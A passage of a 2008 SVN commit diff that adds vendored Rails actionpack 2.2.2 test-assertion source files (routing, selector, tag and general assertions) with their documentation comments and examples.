+      # The +extras+ parameter is used to tell the request the names and values of additional request parameters that would be in
+      # a query string. The +message+ parameter allows you to specify a custom error message for assertion failures.
+      #
+      # The +defaults+ parameter is unused.
+      #
+      # ==== Examples
+      #   # Asserts that the default action is generated for a route with no action
+      #   assert_generates "/items", :controller => "items", :action => "index"
+      #
+      #   # Tests that the list action is properly routed
+      #   assert_generates "/items/list", :controller => "items", :action => "list"
+      #
+      #   # Tests the generation of a route with a parameter
+      #   assert_generates "/items/list/1", { :controller => "items", :action => "list", :id => "1" }
+      #
+      #   # Asserts that the generated route gives us our custom route
+      #   assert_generates "changesets/12", { :controller => 'scm', :action => 'show_diff', :revision => "12" }
+      def assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)
+        clean_backtrace do
+          expected_path = "/#{expected_path}" unless expected_path[0] == ?/
+          # Load routes.rb if it hasn't been loaded.
+          ActionController::Routing::Routes.reload if ActionController::Routing::Routes.empty?
+
+          generated_path, extra_keys = ActionController::Routing::Routes.generate_extras(options, defaults)
+          found_extras = options.reject {|k, v| ! extra_keys.include? k}
+
+          msg = build_message(message, "found extras <?>, not <?>", found_extras, extras)
+          assert_block(msg) { found_extras == extras }
+
+          msg = build_message(message, "The generated path <?> did not match <?>", generated_path,
+              expected_path)
+          assert_block(msg) { expected_path == generated_path }
+        end
+      end
+
+      # Asserts that path and options match both ways; in other words, it verifies that <tt>path</tt> generates
+      # <tt>options</tt> and then that <tt>options</tt> generates <tt>path</tt>.  This essentially combines +assert_recognizes+
+      # and +assert_generates+ into one step.
+      #
+      # The +extras+ hash allows you to specify options that would normally be provided as a query string to the action.  The
+      # +message+ parameter allows you to specify a custom error message to display upon failure.
+      #
+      # ==== Examples
+      #  # Assert a basic route: a controller with the default action (index)
+      #  assert_routing '/home', :controller => 'home', :action => 'index'
+      #
+      #  # Test a route generated with a specific controller, action, and parameter (id)
+      #  assert_routing '/entries/show/23', :controller => 'entries', :action => 'show', id => 23
+      #
+      #  # Assert a basic route (controller + default action), with an error message if it fails
+      #  assert_routing '/store', { :controller => 'store', :action => 'index' }, {}, {}, 'Route for store index not generated properly'
+      #
+      #  # Tests a route, providing a defaults hash
+      #  assert_routing 'controller/action/9', {:id => "9", :item => "square"}, {:controller => "controller", :action => "action"}, {}, {:item => "square"}
+      #
+      #  # Tests a route with a HTTP method
+      #  assert_routing { :method => 'put', :path => '/product/321' }, { :controller => "product", :action => "update", :id => "321" }
+      def assert_routing(path, options, defaults={}, extras={}, message=nil)
+        assert_recognizes(options, path, extras, message)
+
+        controller, default_controller = options[:controller], defaults[:controller]
+        if controller && controller.include?(?/) && default_controller && default_controller.include?(?/)
+          options[:controller] = "/#{controller}"
+        end
+
+        assert_generates(path.is_a?(Hash) ? path[:path] : path, options, defaults, extras, message)
+      end
+
+      private
+        # Recognizes the route for a given path.
+        def recognized_request_for(path, request_method = nil)
+          path = "/#{path}" unless path.first == '/'
+
+          # Assume given controller
+          request = ActionController::TestRequest.new({}, {}, nil)
+          request.env["REQUEST_METHOD"] = request_method.to_s.upcase if request_method
+          request.path   = path
+
+          ActionController::Routing::Routes.recognize(request)
+          request
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/selector_assertions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/selector_assertions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/selector_assertions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,627 @@
+#--
+# Copyright (c) 2006 Assaf Arkin (http://labnotes.org)
+# Under MIT and/or CC By license.
+#++
+
+require 'rexml/document'
+require 'html/document'
+
+module ActionController
+  module Assertions
+    unless const_defined?(:NO_STRIP)
+      NO_STRIP = %w{pre script style textarea}
+    end
+
+    # Adds the +assert_select+ method for use in Rails functional
+    # test cases, which can be used to make assertions on the response HTML of a controller
+    # action. You can also call +assert_select+ within another +assert_select+ to
+    # make assertions on elements selected by the enclosing assertion.
+    #
+    # Use +css_select+ to select elements without making an assertions, either
+    # from the response HTML or elements selected by the enclosing assertion.
+    # 
+    # In addition to HTML responses, you can make the following assertions:
+    # * +assert_select_rjs+ - Assertions on HTML content of RJS update and insertion operations.
+    # * +assert_select_encoded+ - Assertions on HTML encoded inside XML, for example for dealing with feed item descriptions.
+    # * +assert_select_email+ - Assertions on the HTML body of an e-mail.
+    #
+    # Also see HTML::Selector to learn how to use selectors.
+    module SelectorAssertions
+      # :call-seq:
+      #   css_select(selector) => array
+      #   css_select(element, selector) => array
+      #
+      # Select and return all matching elements.
+      #
+      # If called with a single argument, uses that argument as a selector
+      # to match all elements of the current page. Returns an empty array
+      # if no match is found.
+      #
+      # If called with two arguments, uses the first argument as the base
+      # element and the second argument as the selector. Attempts to match the
+      # base element and any of its children. Returns an empty array if no
+      # match is found.
+      #
+      # The selector may be a CSS selector expression (String), an expression
+      # with substitution values (Array) or an HTML::Selector object.
+      #
+      # ==== Examples
+      #   # Selects all div tags
+      #   divs = css_select("div")
+      #
+      #   # Selects all paragraph tags and does something interesting
+      #   pars = css_select("p")
+      #   pars.each do |par|
+      #     # Do something fun with paragraphs here...
+      #   end
+      #
+      #   # Selects all list items in unordered lists
+      #   items = css_select("ul>li") 
+      #      
+      #   # Selects all form tags and then all inputs inside the form
+      #   forms = css_select("form")
+      #   forms.each do |form|
+      #     inputs = css_select(form, "input")
+      #     ...
+      #   end
+      #
+      def css_select(*args)
+        # See assert_select to understand what's going on here.
+        arg = args.shift
+
+        if arg.is_a?(HTML::Node)
+          root = arg
+          arg = args.shift
+        elsif arg == nil
+          raise ArgumentError, "First argument is either selector or element to select, but nil found. Perhaps you called assert_select with an element that does not exist?"
+        elsif @selected
+          matches = []
+
+          @selected.each do |selected|
+            subset = css_select(selected, HTML::Selector.new(arg.dup, args.dup))
+            subset.each do |match|
+              matches << match unless matches.any? { |m| m.equal?(match) }
+            end
+          end
+
+          return matches
+        else
+          root = response_from_page_or_rjs
+        end
+
+        case arg
+          when String
+            selector = HTML::Selector.new(arg, args)
+          when Array
+            selector = HTML::Selector.new(*arg)
+          when HTML::Selector
+            selector = arg
+          else raise ArgumentError, "Expecting a selector as the first argument"
+        end
+
+        selector.select(root)
+      end
+
+      # :call-seq:
+      #   assert_select(selector, equality?, message?)
+      #   assert_select(element, selector, equality?, message?)
+      #
+      # An assertion that selects elements and makes one or more equality tests.
+      #
+      # If the first argument is an element, selects all matching elements
+      # starting from (and including) that element and all its children in
+      # depth-first order.
+      #
+      # If no element if specified, calling +assert_select+ will select from the
+      # response HTML. Calling #assert_select inside an +assert_select+ block will
+      # run the assertion for each element selected by the enclosing assertion.
+      #
+      # ==== Example
+      #   assert_select "ol>li" do |elements|
+      #     elements.each do |element|
+      #       assert_select element, "li"
+      #     end
+      #   end
+      #
+      # Or for short:
+      #   assert_select "ol>li" do
+      #     assert_select "li"
+      #   end
+      #
+      # The selector may be a CSS selector expression (String), an expression
+      # with substitution values, or an HTML::Selector object.
+      #
+      # === Equality Tests
+      #
+      # The equality test may be one of the following:
+      # * <tt>true</tt> - Assertion is true if at least one element selected.
+      # * <tt>false</tt> - Assertion is true if no element selected.
+      # * <tt>String/Regexp</tt> - Assertion is true if the text value of at least
+      #   one element matches the string or regular expression.
+      # * <tt>Integer</tt> - Assertion is true if exactly that number of
+      #   elements are selected.
+      # * <tt>Range</tt> - Assertion is true if the number of selected
+      #   elements fit the range.
+      # If no equality test specified, the assertion is true if at least one
+      # element selected.
+      #
+      # To perform more than one equality tests, use a hash with the following keys:
+      # * <tt>:text</tt> - Narrow the selection to elements that have this text
+      #   value (string or regexp).
+      # * <tt>:html</tt> - Narrow the selection to elements that have this HTML
+      #   content (string or regexp).
+      # * <tt>:count</tt> - Assertion is true if the number of selected elements
+      #   is equal to this value.
+      # * <tt>:minimum</tt> - Assertion is true if the number of selected
+      #   elements is at least this value.
+      # * <tt>:maximum</tt> - Assertion is true if the number of selected
+      #   elements is at most this value.
+      #
+      # If the method is called with a block, once all equality tests are
+      # evaluated the block is called with an array of all matched elements.
+      #
+      # ==== Examples
+      #
+      #   # At least one form element
+      #   assert_select "form"
+      #
+      #   # Form element includes four input fields
+      #   assert_select "form input", 4
+      #
+      #   # Page title is "Welcome"
+      #   assert_select "title", "Welcome"
+      #
+      #   # Page title is "Welcome" and there is only one title element
+      #   assert_select "title", {:count=>1, :text=>"Welcome"},
+      #       "Wrong title or more than one title element"
+      #
+      #   # Page contains no forms
+      #   assert_select "form", false, "This page must contain no forms"
+      #
+      #   # Test the content and style
+      #   assert_select "body div.header ul.menu"
+      #
+      #   # Use substitution values
+      #   assert_select "ol>li#?", /item-\d+/
+      #
+      #   # All input fields in the form have a name
+      #   assert_select "form input" do
+      #     assert_select "[name=?]", /.+/  # Not empty
+      #   end
+      def assert_select(*args, &block)
+        # Start with optional element followed by mandatory selector.
+        arg = args.shift
+
+        if arg.is_a?(HTML::Node)
+          # First argument is a node (tag or text, but also HTML root),
+          # so we know what we're selecting from.
+          root = arg
+          arg = args.shift
+        elsif arg == nil
+          # This usually happens when passing a node/element that
+          # happens to be nil.
+          raise ArgumentError, "First argument is either selector or element to select, but nil found. Perhaps you called assert_select with an element that does not exist?"
+        elsif @selected
+          root = HTML::Node.new(nil)
+          root.children.concat @selected
+        else
+          # Otherwise just operate on the response document.
+          root = response_from_page_or_rjs
+        end
+        
+        # First or second argument is the selector: string and we pass
+        # all remaining arguments. Array and we pass the argument. Also
+        # accepts selector itself.
+        case arg
+          when String
+            selector = HTML::Selector.new(arg, args)
+          when Array
+            selector = HTML::Selector.new(*arg)
+          when HTML::Selector
+            selector = arg
+          else raise ArgumentError, "Expecting a selector as the first argument"
+        end
+        
+        # Next argument is used for equality tests.
+        equals = {}
+        case arg = args.shift
+          when Hash
+            equals = arg
+          when String, Regexp
+            equals[:text] = arg
+          when Integer
+            equals[:count] = arg
+          when Range
+            equals[:minimum] = arg.begin
+            equals[:maximum] = arg.end
+          when FalseClass
+            equals[:count] = 0
+          when NilClass, TrueClass
+            equals[:minimum] = 1
+          else raise ArgumentError, "I don't understand what you're trying to match"
+        end
+
+        # By default we're looking for at least one match.
+        if equals[:count]
+          equals[:minimum] = equals[:maximum] = equals[:count]
+        else
+          equals[:minimum] = 1 unless equals[:minimum]
+        end
+
+        # Last argument is the message we use if the assertion fails.
+        message = args.shift
+        #- message = "No match made with selector #{selector.inspect}" unless message
+        if args.shift
+          raise ArgumentError, "Not expecting that last argument, you either have too many arguments, or they're the wrong type"
+        end
+
+        matches = selector.select(root)
+        # If text/html, narrow down to those elements that match it.
+        content_mismatch = nil
+        if match_with = equals[:text]
+          matches.delete_if do |match|
+            text = ""
+            text.force_encoding(match_with.encoding) if text.respond_to?(:force_encoding)
+            stack = match.children.reverse
+            while node = stack.pop
+              if node.tag?
+                stack.concat node.children.reverse
+              else
+                content = node.content
+                content.force_encoding(match_with.encoding) if content.respond_to?(:force_encoding)
+                text << content
+              end
+            end
+            text.strip! unless NO_STRIP.include?(match.name)
+            unless match_with.is_a?(Regexp) ? (text =~ match_with) : (text == match_with.to_s)
+              content_mismatch ||= build_message(message, "<?> expected but was\n<?>.", match_with, text)
+              true
+            end
+          end
+        elsif match_with = equals[:html]
+          matches.delete_if do |match|
+            html = match.children.map(&:to_s).join
+            html.strip! unless NO_STRIP.include?(match.name)
+            unless match_with.is_a?(Regexp) ? (html =~ match_with) : (html == match_with.to_s)
+              content_mismatch ||= build_message(message, "<?> expected but was\n<?>.", match_with, html)
+              true
+            end
+          end
+        end
+        # Expecting foo found bar element only if found zero, not if
+        # found one but expecting two.
+        message ||= content_mismatch if matches.empty?
+        # Test minimum/maximum occurrence.
+        min, max = equals[:minimum], equals[:maximum]
+        message = message || %(Expected #{count_description(min, max)} matching "#{selector.to_s}", found #{matches.size}.)
+        assert matches.size >= min, message if min
+        assert matches.size <= max, message if max
+
+        # If a block is given call that block. Set @selected to allow
+        # nested assert_select, which can be nested several levels deep.
+        if block_given? && !matches.empty?
+          begin
+            in_scope, @selected = @selected, matches
+            yield matches
+          ensure
+            @selected = in_scope
+          end
+        end
+
+        # Returns all matches elements.
+        matches
+      end
+      
+      def count_description(min, max) #:nodoc:
+        pluralize = lambda {|word, quantity| word << (quantity == 1 ? '' : 's')}
+        
+        if min && max && (max != min)
+          "between #{min} and #{max} elements"
+        elsif min && !(min == 1 && max == 1)
+          "at least #{min} #{pluralize['element', min]}"
+        elsif max
+          "at most #{max} #{pluralize['element', max]}"
+        end
+      end
+      
+      # :call-seq:
+      #   assert_select_rjs(id?) { |elements| ... }
+      #   assert_select_rjs(statement, id?) { |elements| ... }
+      #   assert_select_rjs(:insert, position, id?) { |elements| ... }
+      #
+      # Selects content from the RJS response.
+      #
+      # === Narrowing down
+      #
+      # With no arguments, asserts that one or more elements are updated or
+      # inserted by RJS statements.
+      #
+      # Use the +id+ argument to narrow down the assertion to only statements
+      # that update or insert an element with that identifier.
+      #
+      # Use the first argument to narrow down assertions to only statements
+      # of that type. Possible values are <tt>:replace</tt>, <tt>:replace_html</tt>, 
+      # <tt>:show</tt>, <tt>:hide</tt>, <tt>:toggle</tt>, <tt>:remove</tt> and
+      # <tt>:insert_html</tt>.
+      #
+      # Use the argument <tt>:insert</tt> followed by an insertion position to narrow
+      # down the assertion to only statements that insert elements in that
+      # position. Possible values are <tt>:top</tt>, <tt>:bottom</tt>, <tt>:before</tt>
+      # and <tt>:after</tt>.
+      #
+      # Using the <tt>:remove</tt> statement, you will be able to pass a block, but it will
+      # be ignored as there is no HTML passed for this statement.
+      #
+      # === Using blocks
+      #
+      # Without a block, +assert_select_rjs+ merely asserts that the response
+      # contains one or more RJS statements that replace or update content.
+      #
+      # With a block, +assert_select_rjs+ also selects all elements used in
+      # these statements and passes them to the block. Nested assertions are
+      # supported.
+      #
+      # Calling +assert_select_rjs+ with no arguments and using nested asserts
+      # asserts that the HTML content is returned by one or more RJS statements.
+      # Using +assert_select+ directly makes the same assertion on the content,
+      # but without distinguishing whether the content is returned in an HTML
+      # or JavaScript.
+      #
+      # ==== Examples
+      #
+      #   # Replacing the element foo.
+      #   # page.replace 'foo', ...
+      #   assert_select_rjs :replace, "foo"
+      #
+      #   # Replacing with the chained RJS proxy.
+      #   # page[:foo].replace ...
+      #   assert_select_rjs :chained_replace, 'foo'
+      #
+      #   # Inserting into the element bar, top position.
+      #   assert_select_rjs :insert, :top, "bar"
+      #
+      #   # Remove the element bar
+      #   assert_select_rjs :remove, "bar"
+      #
+      #   # Changing the element foo, with an image.
+      #   assert_select_rjs "foo" do
+      #     assert_select "img[src=/images/logo.gif""
+      #   end
+      #
+      #   # RJS inserts or updates a list with four items.
+      #   assert_select_rjs do
+      #     assert_select "ol>li", 4
+      #   end
+      #
+      #   # The same, but shorter.
+      #   assert_select "ol>li", 4
+      def assert_select_rjs(*args, &block)
+        rjs_type = args.first.is_a?(Symbol) ? args.shift : nil
+        id       = args.first.is_a?(String) ? args.shift : nil
+
+        # If the first argument is a symbol, it's the type of RJS statement we're looking
+        # for (update, replace, insertion, etc). Otherwise, we're looking for just about
+        # any RJS statement.
+        if rjs_type
+          if rjs_type == :insert
+            position  = args.shift
+            insertion = "insert_#{position}".to_sym
+            raise ArgumentError, "Unknown RJS insertion type #{position}" unless RJS_STATEMENTS[insertion]
+            statement = "(#{RJS_STATEMENTS[insertion]})"
+          else
+            raise ArgumentError, "Unknown RJS statement type #{rjs_type}" unless RJS_STATEMENTS[rjs_type]
+            statement = "(#{RJS_STATEMENTS[rjs_type]})"
+          end
+        else
+          statement = "#{RJS_STATEMENTS[:any]}"
+        end
+
+        # Next argument we're looking for is the element identifier. If missing, we pick
+        # any element, otherwise we replace it in the statement.
+        pattern = Regexp.new(
+          id ? statement.gsub(RJS_ANY_ID, "\"#{id}\"") : statement
+        )
+
+        # Duplicate the body since the next step involves destroying it.
+        matches = nil
+        case rjs_type
+          when :remove, :show, :hide, :toggle
+            matches = @response.body.match(pattern)
+          else
+            @response.body.gsub(pattern) do |match|
+              html = unescape_rjs(match)
+              matches ||= []
+              matches.concat HTML::Document.new(html).root.children.select { |n| n.tag? }
+              ""
+            end
+        end
+
+        if matches
+          assert_block("") { true } # to count the assertion
+          if block_given? && !([:remove, :show, :hide, :toggle].include? rjs_type)
+            begin
+              in_scope, @selected = @selected, matches
+              yield matches
+            ensure
+              @selected = in_scope
+            end
+          end
+          matches
+        else
+          # RJS statement not found.
+          case rjs_type
+            when :remove, :show, :hide, :toggle
+              flunk_message = "No RJS statement that #{rjs_type.to_s}s '#{id}' was rendered."
+            else
+              flunk_message = "No RJS statement that replaces or inserts HTML content."
+          end
+          flunk args.shift || flunk_message
+        end
+      end
+
+      # :call-seq:
+      #   assert_select_encoded(element?) { |elements| ... }
+      #
+      # Extracts the content of an element, treats it as encoded HTML and runs
+      # nested assertion on it.
+      #
+      # You typically call this method within another assertion to operate on
+      # all currently selected elements. You can also pass an element or array
+      # of elements.
+      #
+      # The content of each element is un-encoded, and wrapped in the root
+      # element +encoded+. It then calls the block with all un-encoded elements.
+      #
+      # ==== Examples
+      #   # Selects all bold tags from within the title of an ATOM feed's entries (perhaps to nab a section name prefix)
+      #   assert_select_feed :atom, 1.0 do
+      #     # Select each entry item and then the title item
+      #     assert_select "entry>title" do
+      #       # Run assertions on the encoded title elements
+      #       assert_select_encoded do
+      #         assert_select "b"
+      #       end
+      #     end
+      #   end
+      #   
+      #
+      #   # Selects all paragraph tags from within the description of an RSS feed
+      #   assert_select_feed :rss, 2.0 do
+      #     # Select description element of each feed item.
+      #     assert_select "channel>item>description" do
+      #       # Run assertions on the encoded elements.
+      #       assert_select_encoded do
+      #         assert_select "p"
+      #       end
+      #     end
+      #   end
+      def assert_select_encoded(element = nil, &block)
+        case element
+          when Array
+            elements = element
+          when HTML::Node
+            elements = [element]
+          when nil
+            unless elements = @selected
+              raise ArgumentError, "First argument is optional, but must be called from a nested assert_select"
+            end
+          else
+            raise ArgumentError, "Argument is optional, and may be node or array of nodes"
+        end
+
+        fix_content = lambda do |node|
+          # Gets around a bug in the Rails 1.1 HTML parser.
+          node.content.gsub(/<!\[CDATA\[(.*)(\]\]>)?/m) { CGI.escapeHTML($1) }
+        end
+
+        selected = elements.map do |element|
+          text = element.children.select{ |c| not c.tag? }.map{ |c| fix_content[c] }.join
+          root = HTML::Document.new(CGI.unescapeHTML("<encoded>#{text}</encoded>")).root
+          css_select(root, "encoded:root", &block)[0]
+        end
+
+        begin
+          old_selected, @selected = @selected, selected
+          assert_select ":root", &block
+        ensure
+          @selected = old_selected
+        end
+      end
+
+      # :call-seq:
+      #   assert_select_email { }
+      #
+      # Extracts the body of an email and runs nested assertions on it.
+      #
+      # You must enable deliveries for this assertion to work, use:
+      #   ActionMailer::Base.perform_deliveries = true
+      #
+      # ==== Examples
+      #
+      #  assert_select_email do
+      #    assert_select "h1", "Email alert"
+      #  end
+      #
+      #  assert_select_email do
+      #    items = assert_select "ol>li"
+      #    items.each do
+      #       # Work with items here...
+      #    end
+      #  end
+      #
+      def assert_select_email(&block)
+        deliveries = ActionMailer::Base.deliveries
+        assert !deliveries.empty?, "No e-mail in delivery list"
+
+        for delivery in deliveries
+          for part in delivery.parts
+            if part["Content-Type"].to_s =~ /^text\/html\W/
+              root = HTML::Document.new(part.body).root
+              assert_select root, ":root", &block
+            end
+          end
+        end
+      end
+
+      protected
+        unless const_defined?(:RJS_STATEMENTS)
+          RJS_PATTERN_HTML  = "\"((\\\\\"|[^\"])*)\""
+          RJS_ANY_ID        = "\"([^\"])*\""
+          RJS_STATEMENTS    = {
+            :chained_replace      => "\\$\\(#{RJS_ANY_ID}\\)\\.replace\\(#{RJS_PATTERN_HTML}\\)",
+            :chained_replace_html => "\\$\\(#{RJS_ANY_ID}\\)\\.update\\(#{RJS_PATTERN_HTML}\\)",
+            :replace_html         => "Element\\.update\\(#{RJS_ANY_ID}, #{RJS_PATTERN_HTML}\\)",
+            :replace              => "Element\\.replace\\(#{RJS_ANY_ID}, #{RJS_PATTERN_HTML}\\)"
+          }
+          [:remove, :show, :hide, :toggle].each do |action|
+            RJS_STATEMENTS[action] = "Element\\.#{action}\\(#{RJS_ANY_ID}\\)"
+          end
+          RJS_INSERTIONS = ["top", "bottom", "before", "after"]
+          RJS_INSERTIONS.each do |insertion|
+            RJS_STATEMENTS["insert_#{insertion}".to_sym] = "Element.insert\\(#{RJS_ANY_ID}, \\{ #{insertion}: #{RJS_PATTERN_HTML} \\}\\)"
+          end
+          RJS_STATEMENTS[:insert_html] = "Element.insert\\(#{RJS_ANY_ID}, \\{ (#{RJS_INSERTIONS.join('|')}): #{RJS_PATTERN_HTML} \\}\\)"
+          RJS_STATEMENTS[:any] = Regexp.new("(#{RJS_STATEMENTS.values.join('|')})")
+          RJS_PATTERN_UNICODE_ESCAPED_CHAR = /\\u([0-9a-zA-Z]{4})/
+        end
+
+        # +assert_select+ and +css_select+ call this to obtain the content in the HTML
+        # page, or from all the RJS statements, depending on the type of response.
+        def response_from_page_or_rjs()
+          content_type = @response.content_type
+
+          if content_type && content_type =~ /text\/javascript/
+            body = @response.body.dup
+            root = HTML::Node.new(nil)
+
+            while true
+              next if body.sub!(RJS_STATEMENTS[:any]) do |match|
+                html = unescape_rjs(match)
+                matches = HTML::Document.new(html).root.children.select { |n| n.tag? }
+                root.children.concat matches
+                ""
+              end
+              break
+            end
+
+            root
+          else
+            html_document.root
+          end
+        end
+
+        # Unescapes a RJS string.
+        def unescape_rjs(rjs_string)
+          # RJS encodes double quotes and line breaks.
+          unescaped= rjs_string.gsub('\"', '"')
+          unescaped.gsub!(/\\\//, '/')
+          unescaped.gsub!('\n', "\n")
+          unescaped.gsub!('\076', '>')
+          unescaped.gsub!('\074', '<')
+          # RJS encodes non-ascii characters.
+          unescaped.gsub!(RJS_PATTERN_UNICODE_ESCAPED_CHAR) {|u| [$1.hex].pack('U*')}
+          unescaped
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/tag_assertions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/tag_assertions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/tag_assertions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,130 @@
+require 'rexml/document'
+require 'html/document'
+
+module ActionController
+  module Assertions
+    # Pair of assertions to testing elements in the HTML output of the response.
+    module TagAssertions
+      # Asserts that there is a tag/node/element in the body of the response
+      # that meets all of the given conditions. The +conditions+ parameter must
+      # be a hash of any of the following keys (all are optional):
+      #
+      # * <tt>:tag</tt>: the node type must match the corresponding value
+      # * <tt>:attributes</tt>: a hash. The node's attributes must match the
+      #   corresponding values in the hash.
+      # * <tt>:parent</tt>: a hash. The node's parent must match the
+      #   corresponding hash.
+      # * <tt>:child</tt>: a hash. At least one of the node's immediate children
+      #   must meet the criteria described by the hash.
+      # * <tt>:ancestor</tt>: a hash. At least one of the node's ancestors must
+      #   meet the criteria described by the hash.
+      # * <tt>:descendant</tt>: a hash. At least one of the node's descendants
+      #   must meet the criteria described by the hash.
+      # * <tt>:sibling</tt>: a hash. At least one of the node's siblings must
+      #   meet the criteria described by the hash.
+      # * <tt>:after</tt>: a hash. The node must be after any sibling meeting
+      #   the criteria described by the hash, and at least one sibling must match.
+      # * <tt>:before</tt>: a hash. The node must be before any sibling meeting
+      #   the criteria described by the hash, and at least one sibling must match.
+      # * <tt>:children</tt>: a hash, for counting children of a node. Accepts
+      #   the keys:
+      #   * <tt>:count</tt>: either a number or a range which must equal (or
+      #     include) the number of children that match.
+      #   * <tt>:less_than</tt>: the number of matching children must be less
+      #     than this number.
+      #   * <tt>:greater_than</tt>: the number of matching children must be
+      #     greater than this number.
+      #   * <tt>:only</tt>: another hash consisting of the keys to use
+      #     to match on the children, and only matching children will be
+      #     counted.
+      # * <tt>:content</tt>: the textual content of the node must match the
+      #   given value. This will not match HTML tags in the body of a
+      #   tag--only text.
+      #
+      # Conditions are matched using the following algorithm:
+      #
+      # * if the condition is a string, it must be a substring of the value.
+      # * if the condition is a regexp, it must match the value.
+      # * if the condition is a number, the value must match number.to_s.
+      # * if the condition is +true+, the value must not be +nil+.
+      # * if the condition is +false+ or +nil+, the value must be +nil+.
+      #
+      # === Examples
+      #
+      #   # Assert that there is a "span" tag
+      #   assert_tag :tag => "span"
+      #
+      #   # Assert that there is a "span" tag with id="x"
+      #   assert_tag :tag => "span", :attributes => { :id => "x" }
+      #
+      #   # Assert that there is a "span" tag using the short-hand
+      #   assert_tag :span
+      #
+      #   # Assert that there is a "span" tag with id="x" using the short-hand
+      #   assert_tag :span, :attributes => { :id => "x" }
+      #
+      #   # Assert that there is a "span" inside of a "div"
+      #   assert_tag :tag => "span", :parent => { :tag => "div" }
+      #
+      #   # Assert that there is a "span" somewhere inside a table
+      #   assert_tag :tag => "span", :ancestor => { :tag => "table" }
+      #
+      #   # Assert that there is a "span" with at least one "em" child
+      #   assert_tag :tag => "span", :child => { :tag => "em" }
+      #
+      #   # Assert that there is a "span" containing a (possibly nested)
+      #   # "strong" tag.
+      #   assert_tag :tag => "span", :descendant => { :tag => "strong" }
+      #
+      #   # Assert that there is a "span" containing between 2 and 4 "em" tags
+      #   # as immediate children
+      #   assert_tag :tag => "span",
+      #              :children => { :count => 2..4, :only => { :tag => "em" } } 
+      #
+      #   # Get funky: assert that there is a "div", with an "ul" ancestor
+      #   # and an "li" parent (with "class" = "enum"), and containing a 
+      #   # "span" descendant that contains text matching /hello world/
+      #   assert_tag :tag => "div",
+      #              :ancestor => { :tag => "ul" },
+      #              :parent => { :tag => "li",
+      #                           :attributes => { :class => "enum" } },
+      #              :descendant => { :tag => "span",
+      #                               :child => /hello world/ }
+      #
+      # <b>Please note</b>: +assert_tag+ and +assert_no_tag+ only work
+      # with well-formed XHTML. They recognize a few tags as implicitly self-closing
+      # (like br and hr and such) but will not work correctly with tags
+      # that allow optional closing tags (p, li, td). <em>You must explicitly
+      # close all of your tags to use these assertions.</em>
+      def assert_tag(*opts)
+        clean_backtrace do
+          opts = opts.size > 1 ? opts.last.merge({ :tag => opts.first.to_s }) : opts.first
+          tag = find_tag(opts)
+          assert tag, "expected tag, but no tag found matching #{opts.inspect} in:\n#{@response.body.inspect}"
+        end
+      end
+      
+      # Identical to +assert_tag+, but asserts that a matching tag does _not_
+      # exist. (See +assert_tag+ for a full discussion of the syntax.)
+      #
+      # === Examples
+      #   # Assert that there is not a "div" containing a "p"
+      #   assert_no_tag :tag => "div", :descendant => { :tag => "p" }
+      #
+      #   # Assert that an unordered list is empty
+      #   assert_no_tag :tag => "ul", :descendant => { :tag => "li" }
+      #
+      #   # Assert that there is not a "p" tag with between 1 to 3 "img" tags
+      #   # as immediate children
+      #   assert_no_tag :tag => "p",
+      #              :children => { :count => 1..3, :only => { :tag => "img" } }
+      def assert_no_tag(*opts)
+        clean_backtrace do
+          opts = opts.size > 1 ? opts.last.merge({ :tag => opts.first.to_s }) : opts.first
+          tag = find_tag(opts)
+          assert !tag, "expected no tag, but found tag matching #{opts.inspect} in:\n#{@response.body.inspect}"
+        end
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,69 @@
+require 'test/unit/assertions'
+
+module ActionController #:nodoc:
+  # In addition to these specific assertions, you also have easy access to various collections that the regular test/unit assertions
+  # can be used against. These collections are:
+  #
+  # * assigns: Instance variables assigned in the action that are available for the view.
+  # * session: Objects being saved in the session.
+  # * flash: The flash objects currently in the session.
+  # * cookies: Cookies being sent to the user on this request.
+  #
+  # These collections can be used just like any other hash:
+  #
+  #   assert_not_nil assigns(:person) # makes sure that a @person instance variable was set
+  #   assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave"
+  #   assert flash.empty? # makes sure that there's nothing in the flash
+  #
+  # For historic reasons, the assigns hash uses string-based keys. So assigns[:person] won't work, but assigns["person"] will. To
+  # appease our yearning for symbols, though, an alternative accessor has been devised using a method call instead of index referencing.
+  # So assigns(:person) will work just like assigns["person"], but again, assigns[:person] will not work.
+  #
+  # On top of the collections, you have the complete url that a given action redirected to available in redirect_to_url.
+  #
+  # For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another
+  # action call which can then be asserted against.
+  #
+  # == Manipulating the request collections
+  #
+  # The collections described above link to the response, so you can test if what the actions were expected to do happened. But
+  # sometimes you also want to manipulate these collections in the incoming request. This is really only relevant for sessions
+  # and cookies, though. For sessions, you just do:
+  #
+  #   @request.session[:key] = "value"
+  #
+  # For cookies, you need to manually create the cookie, like this:
+  #
+  #   @request.cookies["key"] = CGI::Cookie.new("key", "value")
+  #
+  # == Testing named routes
+  #
+  # If you're using named routes, they can be easily tested using the original named routes' methods straight in the test case.
+  # Example:
+  #
+  #  assert_redirected_to page_url(:title => 'foo')
+  module Assertions
+    def self.included(klass)
+      %w(response selector tag dom routing model).each do |kind|
+        require "action_controller/assertions/#{kind}_assertions"
